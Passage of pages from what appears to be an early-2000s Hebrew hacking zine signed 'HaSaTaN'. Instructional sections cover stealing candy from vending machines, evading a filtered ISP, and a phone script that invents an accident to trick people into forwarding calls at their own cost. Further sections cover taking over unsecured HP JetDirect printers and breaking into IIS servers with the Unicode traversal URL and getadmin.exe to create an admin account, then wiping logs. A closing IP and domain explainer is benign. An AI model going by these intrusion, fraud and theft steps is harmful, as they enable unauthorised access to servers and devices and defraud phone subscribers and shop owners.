‫אחרי ‪ 50-100‬משחקים (או שהשומר בא לכיוונכם תכניסו את היד תתלשו את השקית או תעשו‬
‫בה חור תקחו את הכל הממתקים שזכיתם (גנבתם) ותברחו מהמקום מהר‪.‬‬
‫למקרה שתפסו אותכם תגידו שאתם הכנסתם כסף וזכיתם וכל פעם הסוכריה לא היתה נופלת‬
‫לחור ואחרי ‪ 2‬משחקים‬
‫החלטתם לבדוק מה הולך פה והכנסתם את היד וראיתם שיש שם שקית שחסמה את הכל ואז‬
‫קרעתם אותה והלכתם‪...‬‬
‫ואם הוא ישאל "אז למה ברחת?" אז תגידו "אמממ‪ "...‬ותתחילו לרוץ כמו משוגעים!!!‬

‫שיטה ב' ‪ -‬מגלשה‪:‬‬

‫מצרכים‪:‬‬
‫קרטון של פיצה (כן גם הפעם הקרטון הקטן‪.)...‬‬
‫שקית גדולה ‪ -‬בשביל לאחסן את השלל‪.‬‬
‫דבק סלוטיפ עדיף מסקנטיפ הגדול‪.‬‬
‫ידיים ארוכות (לא יותר מידי)‪.‬‬
‫מוח‪.‬‬
‫הרבה מזל‪.‬‬
‫חוש אומנותי‪.‬‬
‫סכין למקרה הצורך (דבק כבר יש‪ ...‬לא צריך חבל‪.)...‬‬
‫במחשבה שניה במקום הסכין תקנו רגליים מהירות!‬
‫‪ ,OK‬לעבודה!‬
‫תכינו מראש את הקרטון ותדביקו בקצה העליון שלו ‪ 2‬חתיכות דבק ו‪ 2 -‬בקצה התחתון‪ ,‬לכו‬
‫למכונה ותדביקו את הקרטון כמה סנטימטרים מעל העין ואת החלק התחתון תדביק לבסיס‬
‫(הריצפה) ככה שיווצר מגלשה מעל העין וכל סוכריה שתפול תתגלש (תיתגלצ') במגלשה‬
‫(מגלצ'ה) מעל העין והעין לא תדע בכלל שזכית‪.‬‬

‫‪297‬‬
‫(תמונה ‪.)7,8‬‬
‫‪ - Ctrl + Shift‬שמאלי‬
‫מקרא‪:‬‬
‫! = דפנות המכונה‬
‫‪ = /‬קרטון‬
‫‪ = $‬דבק‬
‫‪ = O‬עין‬
‫‪ = +++‬סוכריה‬

‫! ‪! +++‬‬
‫!‬ ‫!‪$‬‬
‫!‬ ‫!‪/‬‬
‫!‬ ‫!‪/‬‬
‫!‪/‬‬
‫!‪/ O‬‬
‫!_‪____$/‬‬

‫‪ - Ctrl + Shift‬ימני‬
‫יש כל מיני סוגים של מכונות‪ ,‬וזה לא יעבוד בכולם לפעמים אתם תצטרכו למצא את השיטה‬
‫למנוע מהסוכריה לעבור דרך הקרן אבל יש לכם את העיקרון‪.‬‬
‫טוב אז זהו תאכלו הרבה סוכריות אל תצחצחו שיניים ותפגיזו אותי בתודות ‪ /‬בקשות ‪ /‬מענות ‪/‬‬
‫איומים‪...‬‬

‫‪HaSaTaN‬‬

‫פריצה ל‪-‬מורשת‬
‫איך לעקוף את מורשת?‬

‫מורשת זה ספק אינטרנט לדתיים (בעיקר)‪ ,‬שמונע להיכנס לרוב האתרים והאתרי האקינג בכלל‬
‫מיחוץ לתחום‬
‫בקיצור ‪ -‬ספק מעצבן שלא נותן להיכנס למלא אתרים לכן החלטתי לכתוב לאנשים שרצו לגלוש‬
‫דרך בית ספר‬
‫או סתם בתים שההורים מפחדים שהילדים יכנסו לאתרים אסורים‪.‬‬

‫עכשיו לעבודה‪.‬‬
‫בבית שלא מחובר לאינטרנט דרך רשת או ראוטר צריך לעשות "חיוג לרשת" רגיל דרך מודם‪,‬‬
‫כל מה שצריך לעשות זה ליצור חיוג לרשת חדש לספק המבוקש ולהיתחבר‪.‬‬

‫עכשיו בישביל שלא יגלו שאתם מתחברים לאינטרנט דרך ספק אחר (מה שיופיע בחשבון טלפון)‬
‫עשו כך‪:‬‬

‫לקוח מספר החירות"‪:‬‬


‫מדריך אינטיפדת טלפונים שונה לצורך העניין‪:‬‬

‫כל העניין מבוסס על שימוש ב ‪( *72‬עקוב אחרי)‪,‬‬


‫אז קודם כל נצטרך להבין איך בזק מחייבת על השרות‪.‬‬
‫נגיד שאני גר בבית א' ועשיתי "עקוב אחרי" לבית ב' ‪ .‬בנאדם מטלפון ג' מתקשר‬
‫אלי‪ ,‬את התשלום על השיחה מ ג' לבית שלי (א') המתקשר ישלם אבל על המשך השיחה‬
‫מהבית שלי למקום שעשיתי אליו עקוב אחרי אני משלם‪.‬‬

‫ועכשיו לקטע המעשי בואו נאמר שאני באזור ‪ 04‬ורוצה להתקשר‬


‫למספר טלפון הזה ‪( 132 -‬בזקנט) אני פותח ספר טלפנים ורואה את הדבר הבא‪:‬‬

‫‪298‬‬
‫ירון וחנה לוי ………………………………… ‪041234567‬‬

‫אז אני יחייג ‪ 1234567‬והשיחה תלך בערך ככה‪:‬‬

‫שלום אני מדבר עם משפחתו של ירון לוי?‬ ‫אני‪:‬‬

‫האדיוט שענה לי ‪ :‬כן‪.‬‬

‫אני‪ :‬שלום ‪ ,‬מדברים מבית החולים רמב"ם איש אחד נפגע בתאונת דרכים ואמר שהוא מוכן‬
‫לדבר רק עם מי שכתוב בפתק שהביא לנו אם אתם רוצים לדבר איתו עליכם לחייג ‪.*72132‬‬
‫(אם שואל אותכם מה פשר המספר תומרו לו שזה מספר מיוחד של בית החולים)‬
‫האידיוט שענה לי ‪ :‬טוב אני עכשיו מתקשר‪.‬‬

‫תודה ולהתראות‪.‬‬ ‫אני ‪:‬‬

‫עכשיו אחרי שעשית את כל העניין המשעמם הזה אתה יכול‬


‫להתקשר פשוט ל ‪ 1234567‬ואז אתה תופנה אוטומטית ל ‪( 132‬בזקנט)‪.‬‬

‫****‬

‫הכי טוב זה לעשות את זה בעצמכם לדוגמא במכולת ‪ -‬קודם תחיגו ‪ 110‬תרשמו את המספר‬
‫ואחר כך תחיגו ‪ *72132‬תעשו כאילו לא ענו לכם ותלכו מהר משם ושלא יזכרו שהייתם שם‬
‫ומהבית תחיגו לשם‪...‬‬

‫יכול להיות שאפשר לעשות את זה גם על טלפון מטבעות‪ ,‬או טלפון ציבורי ישן‪ ,‬על החדשים‬
‫זה לא עובד אבל עדיין אפשר לנסות‪.‬‬

‫****‬

‫(‪ 132‬בא רק כדוגמה כי הוא נותן בדרך כלל להתחבר בלי סיסמא‪ ,‬אבל ניראה לי שבזק חסמו את‬
‫זה! בכל מקרה אפשר לבקש מחבר סיסמא לאינטרנט ולחייג לספק אחר‪ ,‬לדוגמא‪ :‬ברק‪,‬‬
‫אינטרנט זהב וכדומה‪.)...‬‬

‫עכשיו במחשב שמחובר דרך רשת צריך להיכנס ל‪:‬‬

‫"מאפיני שכנים ברשת" >> "מאפיני ‪."TCP\IP‬‬ ‫‪.1‬‬


‫בחלון שיפתח יהיה רשום "השג כתובת ‪ IP‬באופן אוטומטי" (לא אמור להיות מסומן)‪.‬‬
‫ומתחת‪" :‬ציין כתובת ‪ "IP‬ותחתיה ‪ 2‬סעיפים‪:‬‬

‫‪299‬‬
‫כתובת ‪***-***-***-*** IP‬‬
‫ומסכת משנה ***‪***-***-***-‬‬

‫הכוכביות אמורות להיות מספרים (כתבות ‪ IP‬רגילה)‪.‬‬


‫עכשיו צריך לחפש הרבה או למצא תוכנה שבודקת ‪.IP‬‬
‫בכל מקרה צריך למצא ‪ IP‬שמאפשר להיכנס חופשי (יענו ‪ IP‬פתוח)‬
‫תנסו את אלו ה ‪ IP‬שכתוב אצלכם רק בסוף (צד ימין) משנים ל‪:‬‬
‫(**לדוגמא‪ :‬כתוב שם‪ 100.100.100.100 :‬תשנו ל‪ 100.100.100.160 :‬או לא ‪ 160‬אלא ‪,161‬‬
‫וכו'**)‪.‬‬

‫‪160‬‬
‫‪161‬‬
‫‪99‬‬
‫‪200‬‬
‫‪36‬‬
‫‪120-126‬‬

‫זה ה‪ IP'S -‬שאמרו לי‪ ,‬ושמצאתי שבד"כ הם פתוחים!‬

‫בהצלחה וגלישה מהנה‪...........................‬‬


‫‪HaSaTaN‬‬

‫פריצה למדפסות‬
‫אני יושב לי במחשב‪ ,‬שומע ‪ mp3‬מזרחי וחושב מה לעשות‪.‬‬

‫‪ -‬להכין כתבה‬
‫‪ -‬לשחק ‪nba2001‬‬
‫‪ -‬או להוריד מחשב מהרשת‪.‬‬

‫האמת שההצעה השלישית מאוד מפתית!‬


‫הצעה השנייה נחמדה אבל‪ ,‬כבר לקחתי את כל האליפויות האפשרויות! (בלי פאצ'ים‬
‫וטריקים!)‪.‬‬
‫אז רק דבר אחד נשאר לי לעשות!‬
‫וזה מה שעשיתי‪.‬‬

‫אז אחרי כל ה‪ bulshit -‬הזה זה שחירבנתי לכם ת'מוח עד הסוף‪ ,‬מה יש לנו היום?‬
‫שאלה טובה!‬
‫תאמינו או לא‪ ,‬היום ילדים ליימרים‪ ,‬נלמד איך לפרוץ למדפסת!‬
‫נשמע מגוחך?‬
‫חכו תראו!‬

‫‪300‬‬
‫מה הכוונה לפרוץ למדפסת? דבר ראשון כשאומרים דבר כזה זה אומר שמתכוונים למדפסת‬
‫רשת! (מה זה?)‬
‫‪ ,ok‬אני רואה שאתם באמת לא יודעים כלום‪ ,‬אז קודם כל מדובר במדפסת מסוג ‪,HP JetDirect‬‬
‫במדפסת הזאת‬
‫יש המון אפשרויות‪ ,‬ביניהן‪ ,‬ניהול מרחוק‪....‬‬
‫אני רואה שהתחלתם להבין במה מדובר‪ ,‬אה??‬
‫טוב‪ ,‬אז איך מוצאים את מדפסות מסוג זה על הנט?‬

‫‪ .1‬לוקחים סורק ‪ip's‬‬


‫‪ .2‬בודקים טווח מסוים של ‪ ip's‬בפורט ‪ ,280‬ולקוות שתמצאו מדפסת אם פורט ‪ 280‬פתוח!‬

‫אחרי שמצאתם ‪ ,ip‬פיתחו את הטלנט (‪)telnet‬‬


‫ע"י התחל < הפעלה < ‪ < telnet‬אישור‬
‫לאחר שפתחתם את הטלנט‪ ,‬התחברו לאי פי שמצאתם בפורט ‪ ,280‬את שאר הדברים שמה‪,‬‬
‫השאירו כפי שהם!‬
‫‪ ,ok‬אתם תקבלו את הדבר הבא‪:‬‬

‫‪HP JetDirect‬‬

‫‪Please type "?" for HELP, or "/" for current settings‬‬


‫<‬

‫אם קיבלת את זה‪ ,‬זה אומר שאתה בר מזל ואתה יכול להתחיל לשחק במדפסת‪ ,‬אבל אם קיבלת‬
‫את זה‪:‬‬

‫‪HP JetDirect‬‬

‫‪Password:‬‬

‫אז אפשר להגיד שאכלתה אותה‪ ,‬כי זה אומר שיש סיסמא למדפסת הזאת‪ .‬בכל מקרה‪,‬‬
‫המדפסת פועלת בצורה כזאת‬
‫שהברירת מחדל שלה (‪ ,)defult‬הוא ללא סיסמא‪ ,‬ככה שאם תמצא פורט פתוח‪ ,‬קרוב לוודאי‬
‫שהוא יהיה ללא‬
‫סיסמא!‬

‫אז אם קיבלתם את הדבר הראשון‪ ,‬קרוב לוודאי (איזה שפה ספרותית יש לי‪ ,‬אה?) שתרצו לדעת‬
‫מה אתם יכולים‬
‫לעולל עכשיו‪ ,‬נכון?‬
‫אז פשוט הקישו‪"?" :‬‬
‫אתם אמורים לקבל את הדבר הבא‪:‬‬

‫*בשביל לראות את מה שכתוב פה נכון‪ ,‬לחצו‪ alt + shift :‬שמאלי‪ ,‬והטקסט יתיישר לשמאל‪.‬‬
‫*לאחר שתגמרו לקרוא את הקטע הזה באנגלית‪ ,‬לחצו ‪ alt + shift‬ימני‪ ,‬והטסקסט יתיישר‬
‫לקריאה עברית חזרה‪.‬‬

‫<?‬

‫(הערה‪ :‬זה הסימן שאלה שהקלדתם)‬

‫‪:To Change/Configure Parameters Enter‬‬


‫‪>Parameter-name: value <Carriage Return‬‬

‫‪Parameter-name Type of value‬‬

‫‪301‬‬
ip: IP-address in dotted notation
subnet-mask: address in dotted notation
default-gw: address in dotted notation
syslog-svr: address in dotted notation
idle-timeout: seconds in integers
)set-cmnty-name: alpha-numeric string (32 chars max
host-name: alpha-numeric string (upper case only, 32 chars
dhcp-config: 0 to disable, 1 to enable
ipx/spx: 0 to disable, 1 to enable
dlc/llc: 0 to disable, 1 to enable
ethertalk: 0 to disable, 1 to enable
banner: 0 to disable, 1 to enable

Type passwd to change the password .

Type "?" for HELP, "/" for current settings or "quit" to save-and-exit.
Or type "exit" to exit without saving configuration parameter entries
>

‫הדבר הראשון שכדאי שתעשו זה לשנות את הסיסמא כדי שהאקרים אחרים לא יגנבו לכם את‬
.‫המציאה‬
?‫איך‬
:‫פשוט הקישו את הדבר הבא‬

.‫ והטקסט יתיישר לשמאל‬,‫ שמאלי‬alt + shift :‫ לחצו‬,‫*בשביל לראות את מה שכתוב פה נכון‬


‫ והטסקסט יתיישר‬,‫ ימני‬alt + shift ‫ לחצו‬,‫*לאחר שתגמרו לקרוא את הקטע הזה באנגלית‬
.‫לקריאה עברית חזרה‬

passwd>
:]Enter Password[16 character max.; 0 to disable> 1234
Password set to :1234
Quit>

‫ והשני מסמל את אישור‬,‫ הראשון מסמל את הקשת הסיסמא החדשה פעם ראשונה‬1234 :‫* ה‬
.‫הסיסמא‬
.‫* התו ">" מסמל שורה חדשה ואין צורך להקיש אותו‬

.‫ היא דרך האקספלורר‬,‫ והיא הקלה יותר‬,‫אפשרות נוספת לניהול המדפסת‬


.‫ ואת הסיסמא אם שיניתם‬,‫ שמצאתם‬ip -‫ והקישו את ה‬,‫פיתחו חלון אקספלורר‬

?‫ איך אפשר להוציא משהו על מדפסת הרשת‬,‫עכשיו לקטע המעניין‬


:‫ ולחצו שם על‬ip -‫ כיתבו את ה‬,‫ לאחר שפתחתם חלון אקספלורר‬,‫ אז כך‬,ok
internet printing instalesion wizerd
,‫ ולהדפיס מה שאתם רוצים‬,‫ ותוכלו מיד להשתמש במדפסת‬,‫מיד יפתח חלון התקנת הדרייברים‬
.‫כמה שאתם רוצים‬

HaSaTaN

302
‫פריצה לשרתי ‪ ISS‬וקבלת דומין‬
‫טוב בכתבה הזאת אני עומד להסביר לכם צעד אחר צעד כיצד ליפרוץ אתר שרץ על מערכת ‪.IIS‬‬
‫כל החומר בכתבה נועד למטרת ידע בלבד ותנסו אותו באופן חופשי אבל זה לא על אחריותי‪.‬‬

‫תוכן ענינים‪:‬‬
‫‪*+*+*+*+*+*+‬‬
‫‪.1‬מה זה ‪?IIS‬‬
‫‪.2‬מציאת אתר מתאים לפריצה‬
‫‪.3‬באג היוניקוד‬
‫‪Admin Rights.4‬‬
‫‪.4‬אקספלויטים‬
‫‪.5‬הרצת אקספלויטים‬

‫‪303‬‬
‫**‬

‫*‬
‫מה זה ‪?IIS‬‬
‫‪*+*+*+*+*+‬‬
‫ובכן‪ ,‬זאתי מערכת אשר משתמשת ב‪,IIS Internet Infrmation Server -‬‬
‫שזה שרת אינטרנט ותוכנות פשוט של חברת מיקרוספוט הגועלית‪ .‬טוב‪ ,‬אתם מתארים לעצמכם‬
‫שעצם זה שזה‬
‫מיקרוסופט יש בו יותר באגים משאפשר לדמיין וכמו שאמרתי בכתבה זו אני ילמד אותכם איך‬
‫ליפרוץ את המערכת ולהשיג זכויות אדמין אז יאללה בוא נתחיל!‬

‫**‬

‫*‬
‫מציאת אתר מתאים לפריצה‬
‫‪*+*+*+*+*+*+*+*+*+*+*+‬‬
‫טוב בוא נגיד שאנחנו רוצים ליפרוץ לאתר אתם דבר ראשון מטלנטים אליו בפורט ‪ 80‬ואז אתם‬
‫רושמים משהו ולוחצים אינטר וקופץ הפלט הבא‪:‬‬
‫‪HTTP/1.1 400 Bad Request‬‬
‫‪Server: Microsoft-IIS/4.0‬‬
‫‪Date: sat, 28 sep 2002 18:17:09 GMT‬‬
‫‪Content-Length: 407‬‬

‫אם תיסתכלו טוב השרת מודיע לנו שהוא מריץ גירסת ‪.IIS 4.0‬‬
‫מה שאומר שהאתר מתאים לנו לפריצה‪ .‬שימו לב שיכול להיות לכם בימקום גירסת ‪ 4.0‬גירסת‬
‫‪.5.0‬‬
‫בכל מיקרה זה אותה מערכת‪.‬‬
‫אחרי שגילינו שהאתר מריץ את מערכת ה‪ ,IIS-‬נעבור לפריצה עצמה!‬

‫**‬

‫*‬
‫באג היוניקוד‬
‫‪*+*+*+*+*+*+‬‬
‫טוב‪ ,‬באג היוניקוד זה הבאג הכי מפורסם במערכת הזאת‪ .‬באג היוניקוד מאפשר לנו להריץ‬
‫פקודות דוס מרחוק על האתר ועל התיקיות שבו‪.‬‬
‫עכשיו אני יסביר לכם איך עושים את זה‪:‬‬
‫‪http://www.TheServer.com/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c‬‬
‫‪\:‬‬
‫הסבר‪:‬‬
‫‪www.TheServer.com‬‬
‫במקום זה יוכל לבוא האתר שאתם רוצים ליפרוץ אליו‪.‬‬
‫‪ -scipts‬זו התיקיה שמאכסנת את ה‪ cgi -‬של האתר והסקריפטים שבו‪.‬‬
‫‪ -c1%9c%‬זה תרגום היוניקוד זה דבר לא כל כך חשוב לכם אם אתם לא מבינים בזה בכל‬
‫מיקרה יש ליוניקוד המון שפות‪.‬‬

‫‪304‬‬
‫זה אחד התירגומים האפשרים שלו תשאירו את זה אם אין לכם משהו אחר‬
‫‪?winnt/system32/cmd.exe/‬‬
‫זה החלק שמפנה אותך לקובץ ‪ cmd.exe‬זה הקובץ שמפעיל קבצים מסוג‬
‫‪ bat‬ו‪.cmd -‬‬
‫שכמובן הם שומרים בתוכם אוסף של פקודות דוס שמריצים‬
‫‪\:c+dir+c/‬‬
‫זה הקטע האמיתי של הפריצה‪.‬‬
‫למי שמבין בדוס יודע שפה זה אומר לנו להראות את תוכן כונן הסי‪.‬‬
‫טוב‪ ,‬עכשיו נעבור ליצירת קבצים הפקודה שאותה אנחנו רושמים על מנת ליצור קובץ חדש היא‪:‬‬
‫‪echo‬‬
‫בוא נגיד שאנחנו רוצים להכניס טקסט לתוך הקובץ‪:‬‬
‫‪index.asp‬‬
‫אנחנו נעשה ככה‬
‫‪http://www.Theservername.com/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+‬‬
‫‪echo+kaki+>>+c:\inetpub\scripts\index.asp‬‬
‫אבל יש בעיה האתר לא יאפשר את זה‪ ,‬עכשיו‪ ,‬איך פותרים את זה זה ממש פשוט! פשוט‬
‫מעתיקים את הקובץ‬
‫‪cmd.exe‬‬
‫ל‪-‬‬
‫‪c:\inetpub\scripts‬‬
‫ואז יהיה ניתן לעשות את זה ככה‬
‫‪http://victim.machine/scripts/cmd.exe?/c+echo+kaki+>>+c:\inetpub\script\index.‬‬
‫‪asp‬‬
‫עכשיו יש עוד כל מיני פקודות נוספות אולי בטקסט הבא אני ירשום גם על פקודות דרך‬
‫‪ftp‬‬
‫ועוד‬

‫**‬

‫*‬
‫‪admin rights‬‬
‫‪*+*+*+*+*+*+‬‬
‫טוב פה אני הולך להסביר לכם איך להשיג גישות אדמין לאתר בלי לעבוד הרבה רק צריך‬
‫הרשאה‬
‫לעלות קבצים לתיקיה‬
‫‪cgi-bin‬‬
‫נסו להיכנס כאנונימים בפורט ‪ 21‬דרך הדוס רישמו ככה‬
‫‪ftp www.kaki.com‬‬
‫עכשיו יהיה לכם בטח משהו כזה‬
‫‪Connected to www.kaki.com‬‬
‫‪.)kaki Microsoft FTP Service (Version 3.0 220‬‬
‫‪:))User (www.kaky.com:(none‬‬
‫עכשיו שימו לב לשם השרת במיקרה זה הוא‬
‫‪kaki‬‬
‫אז במערכת ה‪-‬‬
‫‪IIS‬‬
‫‪put‬‬
‫חשבון האנונימיס שניצור יקרא‬
‫‪IUSR_kaki‬‬
‫עכשיו ב‪-‬‬

‫‪305‬‬
‫‪user‬‬
‫תירשמו‬
‫‪anonymous‬‬
‫ואז הוא יגיד לכם לירשום אימיל בתור סיסמא אפילו אל תירשמו אימיל סתם רשמו משהו כמו‬
‫‪1234‬‬
‫ואז הוא ירשום‬
‫‪Connect‬‬
‫וכשמגיע החלק של הפריצה‪ ,‬נסו להעלות קובץ לאתר מעלים קוב ע"י הפקודה‬
‫‪put‬‬
‫תכינו איזה עמוד מסכן או משהו ותנסו להעלות לתיקה של ה‪-‬‬
‫‪cgi-bin‬‬
‫אם הכל הלך טוב ויפה אז נעבור לחלק הבא של הפריצה‬
‫אתם צריכים להשיג שלושה קבצים‬
‫‪getadmin.exe gasys.dll cmd.exe‬‬
‫למשתמשי ווינדוס‬
‫‪NT‬‬
‫בידקו אם יש לכם את הקבצים האלו לאלה מכן שלא משתמשים ב‪-‬‬
‫‪Nt‬‬
‫לכו למנועי חיפוש כמו גוגל‬
‫‪www.google.com‬‬
‫עכשיו רוב הסיכוים שתימצאו אם לא בקשו ממשתמשי ווינדוס‬
‫‪NT‬‬
‫עכשיוחיזרו לחלון הדוס ורישמו‬
‫‪binary‬‬
‫שזה אומר לפתוח תקשורת לקבלת קובץ בינארי ועכשיו נעלה את הקבצים שימו לב תעלו את‬
‫הקבצים לתיקיה‬
‫‪cgi-bin‬‬
‫רישמו ככה‬
‫‪put getadmin.exe‬‬
‫‪put cmd.exe‬‬
‫‪put gasys.dll‬‬
‫עכשיו סיגרו את חלון הדוס לכו לדפדפן שלכם ורישמו ככה בידיוק‬
‫‪http://www.kaki.com/cgi-bin/getadmin.exe?IUSR_kaki‬‬
‫עכשיו מה שיקרה זה שהדפדן יענה‬
‫‪cgi error‬‬
‫ובלה בלה לא היה לי כוח לירשום בכל מיקרה אם תיבדקו המ כתוב זה אומר שלמשתמש החדש‬
‫שיצרנו הלא הוא‬
‫‪iusr_kaki‬‬
‫יש הרשאות על כלומר‬
‫‪Admin‬‬
‫עכשיו צרו חשבון חדש בשם כלשהו ככה‬
‫‪http://www.kaki.com/cgi-‬‬
‫‪bin/cmd.exe?/c%20c:\winnt\system32\net.exe%20user%20VeNuS%20FuckIIS%‬‬
‫‪20/add‬‬
‫ותנו לחשבון הזה זכויות על כמו שעשינו מקודם למיקרה שאתם לא זוכרים‬
‫‪http://www.kaki.com/cgi-bin/getadmin.exe?VeNuS‬‬
‫עכשיו לכו לדוס פיתחו את ההיתקשרות לאתר ואז כשזה יבקש ממכם שם משתמש רישמו‬
‫‪VeNuS‬‬
‫וסיסמא‬
‫‪FuckIIS‬‬
‫תהנו תעשו לארת מה שבא לכם ובלה בלה בלה בלה‬
‫אה בסוף אל תשכחו לימחקו לוגים או לשנות אותם כמובן אל תשכחו להשתמש בפרוקסי‬
‫וזהו‬

‫‪306‬‬
‫**‬

‫*‬
‫אקספלויטים‬
‫‪*+*+*+*+*+‬‬

‫טוב אקספלויט הוא תוכנית קטנה שמנצלת חור אבטחה על מנת לתת לך זכויות אדמין או בכלל‬
‫ליפגוע באתר‬
‫בדרך כלשהי אקספלויטם בד"כ ניכתבים בשפת‬
‫סי או פרל‬
‫והם מורצים על מערכת לינוקס או יוניקס או חשבון שאלל טוב‬
‫עכשיו אם זה אקספלויט בפרל הוא יוכל לרוץ גם על התוכנה‬
‫אקטיבפרל‬
‫‪www.activeestat.com‬‬
‫טוב אז אני השגתי לכם כמה חשבונות שאלל חינמים שיעזרו לכם‬
‫‪www.cyberspace.org‬‬
‫‪www.abronet.org‬‬
‫כמובן לחשבונות שאלל מיתחברים דרך פורט הטלנט דרך טלנט או ככה‬
‫התחל ‪ >-‬הפעלה‬
‫‪telnet www.abronet.org 21‬‬
‫וזהו תיצרו חשבון חדש ותריצו את האקספלויט‬

‫**‬

‫*‬
‫הרצת אקספלויטים‬
‫‪+*+*+*+*+*+*+*+‬‬
‫טוב כמו שרשמתי מקודם אקספלויט בד"כ יהיה כתוב בשפת פרל או סי‬
‫אז בוא נעבו לקטע ההרצה בחשבון השאלל שלכם בכדי לקמפל אקספלויט‬
‫בסי אז תעשו ככה‬
‫‪gcc exploit.c -o exploit.exe‬‬
‫אחרי זה תירשמו בחשבון השאלל ככה‬
‫‪exploit.exe/.‬‬
‫וזה יתן לכם הוראות איך להריץ‬
‫אם זה אקספלויט בפרל תעשו ככה דרך הדוס‬
‫‪perl exploit.pl‬‬
‫אפשר לעשות ככה גם דרך לינוקס מי שרצוה יכול גם להיעזר ב‪:‬‬
‫אקטיבפרל‬
‫‪www.activestat.com‬‬

‫‪HaSaTaN‬‬

‫‪307‬‬
‫‪ Ip‬וכתובות אינטרנט‬

‫אינדקס הכתבה‪:‬‬
‫א‪ .‬כיצד בנויה כתובת אינטרנט?‬
‫ב‪TLD and SLD .‬‬
‫ג‪ .‬חיפוש כתובות באינטרנט‬
‫ד‪ .‬רישום כתובות באינטרנט‬

‫א‪ .‬כיצד בנויה כתובת אינטרנט ??‬

‫כתובת באינטרנט משמשת לזיהוי מחשב מסויים בתוך הרשת המהווה את האינטרנט‪.‬‬
‫הכתובת מורכבת משורת קבוצות של ספרות‪ ,‬המופרדות ביניהן באמצעות נקודות‪ .‬דוגמא‬
‫לכתובת טיפוסית‬
‫היא‪:‬‬
‫‪" 44.56.0.48‬‬ ‫"‬

‫כאשר לכל מספר יש משמעות מסויימת‪( ,‬את הכתובת קוראים תמיד משמאל לימין) "‪"44‬‬
‫מסמל את הרשת‪ "55" ,‬ו‪ "0" -‬מסמלים תתי‪-‬רשת‪ ,‬ואחרון‪ "48" -‬מסמל את המחשב של בעל‬
‫האתר המקושר לרשת‪.‬‬

‫רצף זה של ספרות נקרא "כתובת ‪ "IP‬או "מספר ‪ ."IP‬לצורך הנוחות המשתמש פותחה שיטת‬
‫המרה של מספר ‪ ip‬לכתובת אלפא נומרית‪ ,‬המורכבת מאותיות או מילים‪ ,‬שהיא למעשה ה‪,-‬‬
‫‪ Domain Name‬כפי שאנו מכירים אותו‪ .‬המערכת שפותחה מנצלת מאגר נתונים‪DNS - ,‬‬
‫‪ ,Domain Name Server‬על מנת לקשר בין הכתובות המספריות לכתובות באותיות‪ .‬הכתובת‬
‫באותיות‪ ,‬בדומה לכתובות המספריות‪ ,‬מורכבת ממילים המופרדות באמצעות נקודות‪ .‬סדר‬
‫קריאת כתובת כזו הוא גם כן מימין לשמאל‪.‬‬

‫**‬

‫*‬

‫ב‪:TLD and SLD .‬‬


‫הכתובות האלקטרוניות (כפי שהן באותיות) מורכבות משני חלקים‪:‬‬

‫‪.Top Level Domain .1‬‬

‫‪308‬‬
‫בארה"ב‪ ,‬מזהים את סוג הישות ע"פ סוג הכתובת (לדוגמא‪ .gov :‬לישות ממשלתית‪edu ,‬‬
‫לישות חינוכית‪ com. ,‬לעסק מסחרי)‪ ,‬ומחוץ לארה"ב מזהה את המדינה בה יושב בעל‬
‫הכתובת (‪ il‬לישראל‪ fr ,‬לצרפת וכדומה)‪.‬‬

‫‪.Second Level Domain .2‬‬


‫זהו החלק בו מחזיק בעל הכתובת הספציפי‪ ,‬לדוגמא‪ ,‬אוניברסיטת ‪ Georgetown‬יכולה‬
‫לרשום את הכתובת‪:‬‬
‫‪ georgetown.edu‬כאשר ‪ georgetown‬הוא החלק בה בחרה האוניברסיטה להזדהות‬
‫באמצעותו (ה‪ SLD -‬שלהם)‪.‬‬

‫למעשה‪ ,‬ה‪ SLD-‬הוא הגורם העיקרי לסכסוכים בנושא סימני מסחר באינטרנט‪ ,‬כיוון שהוא‬
‫החלק המכיל את שם החברה או סימנה המסחרי וחיפוש האתר על ידי משתמשי האינטרנט‬
‫נעשה בדרך כלל על ידי הקלדת ה‪.SLD-‬‬
‫עם זאת‪ ,‬כפי שנראה בהמשך‪ ,‬גם ה‪ TLD-‬הוא גורם בעייתי בהקשר זה‪.‬‬

‫יש לציין‪ ,‬כי כתובות המוענקות למשתמשים פרטיים‪ ,‬המתקשרים עם‬


‫ספקי שירות (אימיילים‪ ,‬אפ‪.‬טי‪.‬פי וכדומה)‪ ,‬אינן בגדר ‪ Domain Names‬אלא שמות פרטיים‬
‫של תיבות (חשבונות) המשמשות אותם ואשר ניתנות על ידי הספק עצמו‪ .‬במקרה כזה‪ ,‬ה‪-‬‬
‫‪ Domain Name‬הוא שמו של הספק עצמו (השם מופיע אחרי הסימן @)‪.‬‬

‫‪ .3‬הפן הטכני של חיפוש כתובת באינטרנט והשלכותיו‪.‬‬


‫לכל מספר ‪ IP‬יש כתובת ייחודית אחת ולכן על המשתמש באינטרנט‪ ,‬המנסה להגיע לאתר‬
‫מסויים‪ ,‬להקליד את רצף המילים והאותיות המדוייק של הכתובת על מנת להגיע לאותו אתר‪.‬‬
‫המוקלדות על ידי המשתמש למספר ‪ IP‬ומחפשת בכל‬ ‫המערכת מתרגמת את רצף המילים‬
‫המוקלד‪ ,‬מועבר המשתמש לאתר‬ ‫רחבי הרשת מספר זהה‪ .‬ברגע שנמצא מספר זהה למספר‬
‫יצליח להגיע‬ ‫שבכתובת זו‪ .‬די בהקלדת אות אחת שונה מזו שבכתובת בכדי שהמשתמש לא‬
‫לאתר המבוקש‪ ,‬במקרה כזה‪ ,‬או שהמשתמש יגיע לאתר אחר או שיקבל הודעה שלא קיים אתר‬
‫כזה‪.‬‬

‫*‬
‫ג‪ .‬חיפוש כתובות באינטרנט‪:‬‬
‫לפן הטכני של חיפוש כתובות באינטרנט יש מספר השלכות‪ ,‬להלן נבחן חמש מהן‪:‬‬

‫א) חברה שרוצה להשתמש בסימן המסחר שלה ולרשום אותו כ‪ ,Domain Name-‬לא תמיד‬
‫יכולה לעשות זאת שכן לא תמיד ניתן לתרגם סימן מסחר לאותיות או מילים‪ .‬לא לכל חברה‬
‫סימנה המסחרי‪ ,‬וכיון שהכתובות מורכבות מאותיות‬ ‫יש זהות בין שם החברה לבין שמה או‬
‫הכתובות לתת ביטוי לסימן או לשם מסחרי‬ ‫לטיניות בעלות גודל וצורה זהה‪ ,‬לא ניתן דרך‬
‫באותיות‪ ,‬וגם אם ניתן אזי לא‬ ‫בדרך אחרת‪ .‬כמו כן לא תמיד ניתן לתת לסימן מסחר ביטוי‬
